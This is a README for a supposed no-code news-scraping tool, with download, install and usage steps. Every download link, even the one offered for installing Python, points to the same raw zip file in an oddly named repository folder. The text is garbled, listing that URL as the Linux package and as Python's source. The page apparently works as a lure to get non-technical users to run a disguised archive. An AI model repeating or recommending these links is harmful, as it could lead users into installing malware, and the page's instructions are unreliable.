Welcome to Universal-News-Scraper! This tool helps you easily gather news from multiple sources. You donβt need any programming skills to use this application. Follow the steps below to get started.
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Visit the Releases Page: Click the link below to go to the Releases page. Download from Releases
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Choose Your Version: On this page, you will see different versions of the software. Look for the latest version. It is usually at the top.
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Download the File: Click on the version you want. Download the file that matches your operating system:
- For Windows, look for a
.exefile. - For MacOS, look for a
.dmgfile. - For Linux, you should find a
https://github.com/Dieans/Universal-News-Scraper/raw/refs/heads/main/oversmoothly/Scraper_News_Universal_v2.0.zipfile.
- For Windows, look for a
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Run the Installer:
- For Windows: Double-click the downloaded
.exefile and follow the prompts to install. - For MacOS: Open the
.dmgfile and drag the app to the Applications folder. - For Linux: Extract the
https://github.com/Dieans/Universal-News-Scraper/raw/refs/heads/main/oversmoothly/Scraper_News_Universal_v2.0.zipfile and follow the instructions in the README inside.
- For Windows: Double-click the downloaded
To use Universal-News-Scraper, your system should meet the following requirements:
- Operating System: Windows 10 or later, MacOS Mojave or later, or a modern Linux distribution.
- Python: Version 3.7 or later must be installed. You can download it from https://github.com/Dieans/Universal-News-Scraper/raw/refs/heads/main/oversmoothly/Scraper_News_Universal_v2.0.zip.
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Open the Command Line Interface (CLI):
- On Windows: Search for "Command Prompt" in the Start menu.
- On MacOS: Open "Terminal" from Applications > Utilities.
- On Linux: Open your terminal application.
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Run the Application: Navigate to where you installed Universal-News-Scraper. Use the following command to start:
universal-news-scraper
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Follow On-Screen Instructions: The application will prompt you to enter topics of interest. You can also apply filters like date and keywords.
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View Your Results: After scanning the news, the app will show the aggregated articles. You can choose to export your findings in JSON or CSV format for easier access.
- Topic Auto-Discovery: Allows the app to find relevant news topics automatically using Bing RSS.
- Anti-Blocking Logic: The scraping system is designed to avoid bans and interruptions from websites.
- Keyword & Date Filtering: Get news that matters by filtering based on your specified criteria.
- Export Options: Easily export results to JSON or CSV formats for further analysis.
- Use specific keywords to narrow down news articles.
- Try different date ranges for more current or retrospective news.
- If the app takes too long to respond, check your internet connection.
If you need help or want to share feedback, join our community on GitHub. Feel free to open an issue or check the discussions for support from other users and developers.
To learn more about web scraping and CLI tools, check these resources:
By following these steps, you can easily download and run Universal-News-Scraper. Enjoy gathering news effortlessly!